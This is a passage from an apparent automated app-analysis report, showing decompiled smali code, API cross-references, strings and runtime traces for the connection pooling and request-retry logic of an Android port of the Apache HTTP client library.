        160iget v4, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/ConnPoolByRoute;->maxTotalConnections:I
        161if-ge v3, v4, :cond_de
        163iget-object v0, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/ConnPoolByRoute;->operator:Lcz/msebera/android/httpclient/conn/ClientConnectionOperator;
        165invoke-virtual {p0, p4, v0}, Lcz/msebera/android/httpclient/impl/conn/tsccm/ConnPoolByRoute;->createEntry(Lcz/msebera/android/httpclient/impl/conn/tsccm/RouteSpecificPool;Lcz/msebera/android/httpclient/conn/ClientConnectionOperator;)Lcz/msebera/android/httpclient/impl/conn/tsccm/BasicPoolEntry;
        166move-result-object v0
        167goto/16 :goto_22
        168cond_de: if-eqz v2, :cond_f7
        170iget-object v2, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/ConnPoolByRoute;->freeConnections:Ljava/util/Queue;
        172invoke-interface {v2}, Ljava/util/Queue;->isEmpty()Z
        173move-result v2
        174if-nez v2, :cond_f7
        176invoke-virtual {p0}, Lcz/msebera/android/httpclient/impl/conn/tsccm/ConnPoolByRoute;->deleteLeastUsedEntry()V
        178invoke-virtual {p0, p1, p3}, Lcz/msebera/android/httpclient/impl/conn/tsccm/ConnPoolByRoute;->getRoutePool(Lcz/msebera/android/httpclient/conn/routing/HttpRoute;Z)Lcz/msebera/android/httpclient/impl/conn/tsccm/RouteSpecificPool;
        179move-result-object p4
        181iget-object v0, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/ConnPoolByRoute;->operator:Lcz/msebera/android/httpclient/conn/ClientConnectionOperator;
        183invoke-virtual {p0, p4, v0}, Lcz/msebera/android/httpclient/impl/conn/tsccm/ConnPoolByRoute;->createEntry(Lcz/msebera/android/httpclient/impl/conn/tsccm/RouteSpecificPool;Lcz/msebera/android/httpclient/conn/ClientConnectionOperator;)Lcz/msebera/android/httpclient/impl/conn/tsccm/BasicPoolEntry;
        184move-result-object v0
        185goto/16 :goto_22
        186cond_f7:
        187iget-object v2, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/ConnPoolByRoute;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        189invoke-virtual {v2}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->isDebugEnabled()Z
        190move-result v2
        191if-eqz v2, :cond_122
        193iget-object v2, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/ConnPoolByRoute;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        194new-instance v3, Ljava/lang/StringBuilder;
        196invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
        198const-string v4, "Need to wait for connection ["
        200invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        202invoke-virtual {v3, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        204const-string v4, "]["
        206invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        208invoke-virtual {v3, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        210const-string v4, "]"
        212invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        214invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        215move-result-object v3
        217invoke-virtual {v2, v3}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;)V
        218cond_122: if-nez p5, :cond_131
        220iget-object p5, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/ConnPoolByRoute;->poolLock:Ljava/util/concurrent/locks/Lock;
        222invoke-interface {p5}, Ljava/util/concurrent/locks/Lock;->newCondition()Ljava/util/concurrent/locks/Condition;
        223move-result-object p5
        225invoke-virtual {p0, p5, p4}, Lcz/msebera/android/httpclient/impl/conn/tsccm/ConnPoolByRoute;->newWaitingThread(Ljava/util/concurrent/locks/Condition;Lcz/msebera/android/httpclient/impl/conn/tsccm/RouteSpecificPool;)Lcz/msebera/android/httpclient/impl/conn/tsccm/WaitingThread;
        226move-result-object p5
        228invoke-virtual {p6, p5}, Lcz/msebera/android/httpclient/impl/conn/tsccm/WaitingThreadAborter;->setWaitingThread(Lcz/msebera/android/httpclient/impl/conn/tsccm/WaitingThread;)V
        229cond_131:
        230invoke-virtual {p4, p5}, Lcz/msebera/android/httpclient/impl/conn/tsccm/RouteSpecificPool;->queueThread(Lcz/msebera/android/httpclient/impl/conn/tsccm/WaitingThread;)V
        232iget-object v2, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/ConnPoolByRoute;->waitingThreads:Ljava/util/Queue;
        234invoke-interface {v2, p5}, Ljava/util/Queue;->add(Ljava/lang/Object;)Z
        236invoke-virtual {p5, v1}, Lcz/msebera/android/httpclient/impl/conn/tsccm/WaitingThread;->await(Ljava/util/Date;)Z
        237move-result v2
        238try_end_13d:
        239invoke-virtual {p4, p5}, Lcz/msebera/android/httpclient/impl/conn/tsccm/RouteSpecificPool;->removeThread(Lcz/msebera/android/httpclient/impl/conn/tsccm/WaitingThread;)V
        241iget-object v3, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/ConnPoolByRoute;->waitingThreads:Ljava/util/Queue;
        243invoke-interface {v3, p5}, Ljava/util/Queue;->remove(Ljava/lang/Object;)Z
        244if-nez v2, :cond_22
        245if-eqz v1, :cond_22
        247invoke-virtual {v1}, Ljava/util/Date;->getTime()J
        248move-result-wide v2
        250invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
        251move-result-wide v4
        252cmp-long v6, v2, v4
        253if-lez v6, :cond_157
        254goto/16 :goto_22
        255cond_157: new-instance p1, Lcz/msebera/android/httpclient/conn/ConnectionPoolTimeoutException;
        257const-string p2, "Timeout waiting for connection from pool"
        259invoke-direct {p1, p2}, Lcz/msebera/android/httpclient/conn/ConnectionPoolTimeoutException;-><init>(Ljava/lang/String;)V
        260throw p1
        261catchall_15f: move-exception p1
        263invoke-virtual {p4, p5}, Lcz/msebera/android/httpclient/impl/conn/tsccm/RouteSpecificPool;->removeThread(Lcz/msebera/android/httpclient/impl/conn/tsccm/WaitingThread;)V
        265iget-object p2, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/ConnPoolByRoute;->waitingThreads:Ljava/util/Queue;
        267invoke-interface {p2, p5}, Ljava/util/Queue;->remove(Ljava/lang/Object;)Z
        268throw p1
        269goto_169:
        270iget-object p1, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/ConnPoolByRoute;->poolLock:Ljava/util/concurrent/locks/Lock;
        272invoke-interface {p1}, Ljava/util/concurrent/locks/Lock;->unlock()V
        273return-object v0
        274catchall_16f: move-exception p1
        276iget-object p2, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/ConnPoolByRoute;->poolLock:Ljava/util/concurrent/locks/Lock;
        278invoke-interface {p2}, Ljava/util/concurrent/locks/Lock;->unlock()V
        279throw p1
        Cross References
        APIs
        • cz.msebera.android.httpclient.impl.client.EntityEnclosingRequestWrapper.isRepeatable
        • cz.msebera.android.httpclient.client.NonRepeatableRequestException.<init>
        • cz.msebera.android.httpclient.impl.conn.tsccm.BasicPooledConnAdapter.isOpen
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.Object.getClass
        • java.lang.Class.getName
        • java.lang.StringBuilder.append
        • java.io.IOException.getMessage
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.io.IOException.getMessage
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • cz.msebera.android.httpclient.NoHttpResponseException.<init>
        • java.io.IOException.getStackTrace
        • cz.msebera.android.httpclient.NoHttpResponseException.setStackTrace
        Strings
        • Cannot retry non-repeatable request
        • Cannot retry request with a non-repeatable request entity. The cause lists the reason the original request failed.
        • Cannot retry request with a non-repeatable request entity.
        • Reopening the direct connection.
        • Proxied connection. Need to start over.
        • Attempt
        • to execute request
        • Closing the connection.
        • I/O exception (
        • ) caught when processing request to
        • :
        • Retrying request to
        • failed to respond
        Position Instruction Meta Information
        0.annotation system Ldalvik/annotation/Throws;
        1value = {
        2Lcz/msebera/android/httpclient/HttpException;,
        3Ljava/io/IOException;
        4}
        5.end annotation
        7invoke-virtual {p1}, Lcz/msebera/android/httpclient/impl/client/RoutedRequest;->getRequest()Lcz/msebera/android/httpclient/impl/client/RequestWrapper;
        8move-result-object v0
        10invoke-virtual {p1}, Lcz/msebera/android/httpclient/impl/client/RoutedRequest;->getRoute()Lcz/msebera/android/httpclient/conn/routing/HttpRoute;
        11move-result-object p1
        12const/4 v1, 0x0
        13move-object v2, v1
        14cond_a: iget v3, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->execCount:I
        15add-int/lit8 v3, v3, 0x1
        16iput v3, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->execCount:I
        18invoke-virtual {v0}, Lcz/msebera/android/httpclient/impl/client/RequestWrapper;->incrementExecCount()V
        20invoke-virtual {v0}, Lcz/msebera/android/httpclient/impl/client/RequestWrapper;->isRepeatable()Z
        • Time: 1303489
          • This:
            • cz.msebera.android.httpclient.impl.client.EntityEnclosingRequestWrapper@8b59606
          • Return:
            • true
        21move-result v3
        22if-nez v3, :cond_32
        24iget-object p1, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        26const-string p2, "Cannot retry non-repeatable request"
        28invoke-virtual {p1, p2}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;)V
        29if-eqz v2, :cond_2a
        30new-instance p1, Lcz/msebera/android/httpclient/client/NonRepeatableRequestException;
        32const-string p2, "Cannot retry request with a non-repeatable request entity. The cause lists the reason the original request failed."
        34invoke-direct {p1, p2, v2}, Lcz/msebera/android/httpclient/client/NonRepeatableRequestException;-><init>(Ljava/lang/String;Ljava/lang/Throwable;)V
        35throw p1
        36cond_2a: new-instance p1, Lcz/msebera/android/httpclient/client/NonRepeatableRequestException;
        38const-string p2, "Cannot retry request with a non-repeatable request entity."
        40invoke-direct {p1, p2}, Lcz/msebera/android/httpclient/client/NonRepeatableRequestException;-><init>(Ljava/lang/String;)V
        41throw p1
        42cond_32:
        43iget-object v2, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->managedConn:Lcz/msebera/android/httpclient/conn/ManagedClientConnection;
        45invoke-interface {v2}, Lcz/msebera/android/httpclient/conn/ManagedClientConnection;->isOpen()Z
        • Time: 1303493
          • This:
            • cz.msebera.android.httpclient.impl.conn.tsccm.BasicPooledConnAdapter@aa262c3
          • Return:
            • true
        46move-result v2
        47if-nez v2, :cond_57
        49invoke-virtual {p1}, Lcz/msebera/android/httpclient/conn/routing/HttpRoute;->isTunnelled()Z
        50move-result v2
        51if-nez v2, :cond_4f
        53iget-object v2, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        55const-string v3, "Reopening the direct connection."
        57invoke-virtual {v2, v3}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;)V
        59iget-object v2, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->managedConn:Lcz/msebera/android/httpclient/conn/ManagedClientConnection;
        61iget-object v3, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->params:Lcz/msebera/android/httpclient/params/HttpParams;
        63invoke-interface {v2, p1, p2, v3}, Lcz/msebera/android/httpclient/conn/ManagedClientConnection;->open(Lcz/msebera/android/httpclient/conn/routing/HttpRoute;Lcz/msebera/android/httpclient/protocol/HttpContext;Lcz/msebera/android/httpclient/params/HttpParams;)V
        64goto/16 :goto_57
        65cond_4f:
        66iget-object v2, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        68const-string v3, "Proxied connection. Need to start over."
        70invoke-virtual {v2, v3}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;)V
        71goto/16 :goto_85
        72goto_57:
        73iget-object v2, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        75invoke-virtual {v2}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->isDebugEnabled()Z
        76move-result v2
        77if-eqz v2, :cond_7c
        79iget-object v2, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        80new-instance v3, Ljava/lang/StringBuilder;
        82invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
        84const-string v4, "Attempt "
        86invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        87iget v4, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->execCount:I
        89invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
        91const-string v4, " to execute request"
        93invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        95invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        96move-result-object v3
        98invoke-virtual {v2, v3}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;)V
        99cond_7c:
        100iget-object v2, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->requestExec:Lcz/msebera/android/httpclient/protocol/HttpRequestExecutor;
        102iget-object v3, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->managedConn:Lcz/msebera/android/httpclient/conn/ManagedClientConnection;
        104invoke-virtual {v2, v0, v3, p2}, Lcz/msebera/android/httpclient/protocol/HttpRequestExecutor;->execute(Lcz/msebera/android/httpclient/HttpRequest;Lcz/msebera/android/httpclient/HttpClientConnection;Lcz/msebera/android/httpclient/protocol/HttpContext;)Lcz/msebera/android/httpclient/HttpResponse;
        105move-result-object v2
        106try_end_84: move-object v1, v2
        107goto_85: return-object v1
        108catch_86: move-exception v2
        110iget-object v3, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        112const-string v4, "Closing the connection."
        114invoke-virtual {v3, v4}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;)V
        115try_start_8e:
        116iget-object v3, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->managedConn:Lcz/msebera/android/httpclient/conn/ManagedClientConnection;
        118invoke-interface {v3}, Lcz/msebera/android/httpclient/conn/ManagedClientConnection;->close()V
        119catch_93:
        120iget-object v3, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->retryHandler:Lcz/msebera/android/httpclient/client/HttpRequestRetryHandler;
        122invoke-virtual {v0}, Lcz/msebera/android/httpclient/impl/client/RequestWrapper;->getExecCount()I
        123move-result v4
        125invoke-interface {v3, v2, v4, p2}, Lcz/msebera/android/httpclient/client/HttpRequestRetryHandler;->retryRequest(Ljava/io/IOException;ILcz/msebera/android/httpclient/protocol/HttpContext;)Z
        126move-result v3
        127if-eqz v3, :cond_10a
        129iget-object v3, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        131invoke-virtual {v3}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->isInfoEnabled()Z
        132move-result v3
        133if-eqz v3, :cond_d9
        135iget-object v3, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        136new-instance v4, Ljava/lang/StringBuilder;
        138invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
        140const-string v5, "I/O exception ("
        142invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        144invoke-virtual {v2}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
        145move-result-object v5
        147invoke-virtual {v5}, Ljava/lang/Class;->getName()Ljava/lang/String;
        148move-result-object v5
        150invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        152const-string v5, ") caught when processing request to "
        154invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        156invoke-virtual {v4, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        158const-string v5, ": "
        160invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        162invoke-virtual {v2}, Ljava/io/IOException;->getMessage()Ljava/lang/String;
        163move-result-object v5
        165invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        167invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        168move-result-object v4
        170invoke-virtual {v3, v4}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->info(Ljava/lang/Object;)V
        171cond_d9:
        172iget-object v3, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        174invoke-virtual {v3}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->isDebugEnabled()Z
        175move-result v3
        176if-eqz v3, :cond_ea
        178iget-object v3, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        180invoke-virtual {v2}, Ljava/io/IOException;->getMessage()Ljava/lang/String;
        181move-result-object v4
        183invoke-virtual {v3, v4, v2}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;Ljava/lang/Throwable;)V
        184cond_ea:
        185iget-object v3, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        187invoke-virtual {v3}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->isInfoEnabled()Z
        188move-result v3
        189if-eqz v3, :cond_a
        191iget-object v3, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        192new-instance v4, Ljava/lang/StringBuilder;
        194invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
        196const-string v5, "Retrying request to "
        198invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        200invoke-virtual {v4, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        202invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        203move-result-object v4
        205invoke-virtual {v3, v4}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->info(Ljava/lang/Object;)V
        206goto/16 :goto_a
        207cond_10a: instance-of p2, v2, Lcz/msebera/android/httpclient/NoHttpResponseException;
        208if-eqz p2, :cond_134
        209new-instance p2, Lcz/msebera/android/httpclient/NoHttpResponseException;
        210new-instance v0, Ljava/lang/StringBuilder;
        212invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
        214invoke-virtual {p1}, Lcz/msebera/android/httpclient/conn/routing/HttpRoute;->getTargetHost()Lcz/msebera/android/httpclient/HttpHost;
        215move-result-object p1
        217invoke-virtual {p1}, Lcz/msebera/android/httpclient/HttpHost;->toHostString()Ljava/lang/String;
        218move-result-object p1
        220invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        222const-string p1, " failed to respond"
        224invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        226invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        227move-result-object p1
        229invoke-direct {p2, p1}, Lcz/msebera/android/httpclient/NoHttpResponseException;-><init>(Ljava/lang/String;)V
        231invoke-virtual {v2}, Ljava/io/IOException;->getStackTrace()[Ljava/lang/StackTraceElement;
        232move-result-object p1
        234invoke-virtual {p2, p1}, Lcz/msebera/android/httpclient/NoHttpResponseException;->setStackTrace([Ljava/lang/StackTraceElement;)V
        235throw p2
        236cond_134: throw v2
        APIs
        • cz.msebera.android.httpclient.impl.conn.tsccm.BasicPooledConnAdapter.isOpen
        • java.lang.Thread.currentThread
        • java.lang.Thread.interrupt
        • java.io.InterruptedIOException.<init>
        • java.net.URI.getUserInfo
        • java.net.URI.isAbsolute
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • cz.msebera.android.httpclient.auth.AuthProtocolState.compareTo
        • cz.msebera.android.httpclient.impl.client.TunnelRefusedException.getMessage
        • cz.msebera.android.httpclient.impl.client.TunnelRefusedException.getResponse
        • cz.msebera.android.httpclient.entity.BasicHttpEntity.isStreaming
        • java.io.InterruptedIOException.<init>
        • java.io.InterruptedIOException.initCause
        Strings
        • http.auth.target-scope
        • http.auth.proxy-scope
        • http.virtual-host
        • http.user-token
        • Stale connection check
        • Stale connection detected
        • http.target_host
        • http.route
        • http.connection
        • for
        • indefinitely
        • Connection can be kept alive
        • Resetting proxy auth state
        • Resetting target auth state
        • java.lang.String@83314a9
        • Connection has been shut down
        Position Instruction Meta Information
        0.annotation system Ldalvik/annotation/Throws;
        1value = {
        2Lcz/msebera/android/httpclient/HttpException;,
        3Ljava/io/IOException;
        4}
        5.end annotation
        7const-string v0, "http.auth.target-scope"
        9iget-object v1, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->targetAuthState:Lcz/msebera/android/httpclient/auth/AuthState;
        11invoke-interface {p3, v0, v1}, Lcz/msebera/android/httpclient/protocol/HttpContext;->setAttribute(Ljava/lang/String;Ljava/lang/Object;)V
        13const-string v0, "http.auth.proxy-scope"
        15iget-object v1, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->proxyAuthState:Lcz/msebera/android/httpclient/auth/AuthState;
        17invoke-interface {p3, v0, v1}, Lcz/msebera/android/httpclient/protocol/HttpContext;->setAttribute(Ljava/lang/String;Ljava/lang/Object;)V
        19invoke-direct {p0, p2}, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->wrapRequest(Lcz/msebera/android/httpclient/HttpRequest;)Lcz/msebera/android/httpclient/impl/client/RequestWrapper;
        20move-result-object v0
        22iget-object v1, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->params:Lcz/msebera/android/httpclient/params/HttpParams;
        24invoke-virtual {v0, v1}, Lcz/msebera/android/httpclient/impl/client/RequestWrapper;->setParams(Lcz/msebera/android/httpclient/params/HttpParams;)V
        26invoke-virtual {p0, p1, v0, p3}, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->determineRoute(Lcz/msebera/android/httpclient/HttpHost;Lcz/msebera/android/httpclient/HttpRequest;Lcz/msebera/android/httpclient/protocol/HttpContext;)Lcz/msebera/android/httpclient/conn/routing/HttpRoute;
        27move-result-object v1
        29invoke-virtual {v0}, Lcz/msebera/android/httpclient/impl/client/RequestWrapper;->getParams()Lcz/msebera/android/httpclient/params/HttpParams;
        30move-result-object v2
        32const-string v3, "http.virtual-host"
        34invoke-interface {v2, v3}, Lcz/msebera/android/httpclient/params/HttpParams;->getParameter(Ljava/lang/String;)Ljava/lang/Object;
        35move-result-object v2
        36check-cast v2, Lcz/msebera/android/httpclient/HttpHost;
        37iput-object v2, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->virtualHost:Lcz/msebera/android/httpclient/HttpHost;
        39iget-object v2, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->virtualHost:Lcz/msebera/android/httpclient/HttpHost;
        40if-eqz v2, :cond_57
        42iget-object v2, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->virtualHost:Lcz/msebera/android/httpclient/HttpHost;
        44invoke-virtual {v2}, Lcz/msebera/android/httpclient/HttpHost;->getPort()I
        45move-result v2
        46const/4 v3, -0x1
        47if-ne v2, v3, :cond_57
        48if-eqz p1, :cond_3a
        49move-object v2, p1
        50goto/16 :goto_3e
        51cond_3a:
        52invoke-virtual {v1}, Lcz/msebera/android/httpclient/conn/routing/HttpRoute;->getTargetHost()Lcz/msebera/android/httpclient/HttpHost;
        53move-result-object v2
        54goto_3e:
        55invoke-virtual {v2}, Lcz/msebera/android/httpclient/HttpHost;->getPort()I
        56move-result v2
        57if-eq v2, v3, :cond_57
        58new-instance v3, Lcz/msebera/android/httpclient/HttpHost;
        60iget-object v4, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->virtualHost:Lcz/msebera/android/httpclient/HttpHost;
        62invoke-virtual {v4}, Lcz/msebera/android/httpclient/HttpHost;->getHostName()Ljava/lang/String;
        63move-result-object v4
        65iget-object v5, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->virtualHost:Lcz/msebera/android/httpclient/HttpHost;
        67invoke-virtual {v5}, Lcz/msebera/android/httpclient/HttpHost;->getSchemeName()Ljava/lang/String;
        68move-result-object v5
        70invoke-direct {v3, v4, v2, v5}, Lcz/msebera/android/httpclient/HttpHost;-><init>(Ljava/lang/String;ILjava/lang/String;)V
        71iput-object v3, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->virtualHost:Lcz/msebera/android/httpclient/HttpHost;
        72cond_57: new-instance v2, Lcz/msebera/android/httpclient/impl/client/RoutedRequest;
        74invoke-direct {v2, v0, v1}, Lcz/msebera/android/httpclient/impl/client/RoutedRequest;-><init>(Lcz/msebera/android/httpclient/impl/client/RequestWrapper;Lcz/msebera/android/httpclient/conn/routing/HttpRoute;)V
        75const/4 v0, 0x0
        76const/4 v1, 0x0
        77move-object v3, p1
        78const/4 p1, 0x0
        79cond_60: if-nez v1, :cond_25b
        80try_start_62:
        81invoke-virtual {v2}, Lcz/msebera/android/httpclient/impl/client/RoutedRequest;->getRequest()Lcz/msebera/android/httpclient/impl/client/RequestWrapper;
        82move-result-object v0
        84invoke-virtual {v2}, Lcz/msebera/android/httpclient/impl/client/RoutedRequest;->getRoute()Lcz/msebera/android/httpclient/conn/routing/HttpRoute;
        85move-result-object v4
        87const-string v5, "http.user-token"
        89invoke-interface {p3, v5}, Lcz/msebera/android/httpclient/protocol/HttpContext;->getAttribute(Ljava/lang/String;)Ljava/lang/Object;
        90move-result-object v5
        92iget-object v6, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->managedConn:Lcz/msebera/android/httpclient/conn/ManagedClientConnection;
        93if-nez v6, :cond_cb
        95iget-object v6, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->connManager:Lcz/msebera/android/httpclient/conn/ClientConnectionManager;
        97invoke-interface {v6, v4, v5}, Lcz/msebera/android/httpclient/conn/ClientConnectionManager;->requestConnection(Lcz/msebera/android/httpclient/conn/routing/HttpRoute;Ljava/lang/Object;)Lcz/msebera/android/httpclient/conn/ClientConnectionRequest;
        98move-result-object v6
        99instance-of v7, p2, Lcz/msebera/android/httpclient/client/methods/AbortableHttpRequest;
        100if-eqz v7, :cond_84
        101move-object v7, p2
        102check-cast v7, Lcz/msebera/android/httpclient/client/methods/AbortableHttpRequest;
        104invoke-interface {v7, v6}, Lcz/msebera/android/httpclient/client/methods/AbortableHttpRequest;->setConnectionRequest(Lcz/msebera/android/httpclient/conn/ClientConnectionRequest;)V
        105cond_84:
        106iget-object v7, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->params:Lcz/msebera/android/httpclient/params/HttpParams;
        108invoke-static {v7}, Lcz/msebera/android/httpclient/client/params/HttpClientParams;->getConnectionManagerTimeout(Lcz/msebera/android/httpclient/params/HttpParams;)J
        109move-result-wide v7
        110try_start_8a:
        111sget-object v9, Ljava/util/concurrent/TimeUnit;->MILLISECONDS:Ljava/util/concurrent/TimeUnit;
        113invoke-interface {v6, v7, v8, v9}, Lcz/msebera/android/httpclient/conn/ClientConnectionRequest;->getConnection(JLjava/util/concurrent/TimeUnit;)Lcz/msebera/android/httpclient/conn/ManagedClientConnection;
        114move-result-object v6
        115iput-object v6, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->managedConn:Lcz/msebera/android/httpclient/conn/ManagedClientConnection;
        116try_start_92:
        117iget-object v6, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->params:Lcz/msebera/android/httpclient/params/HttpParams;
        119invoke-static {v6}, Lcz/msebera/android/httpclient/params/HttpConnectionParams;->isStaleCheckingEnabled(Lcz/msebera/android/httpclient/params/HttpParams;)Z
        120move-result v6
        121if-eqz v6, :cond_cb
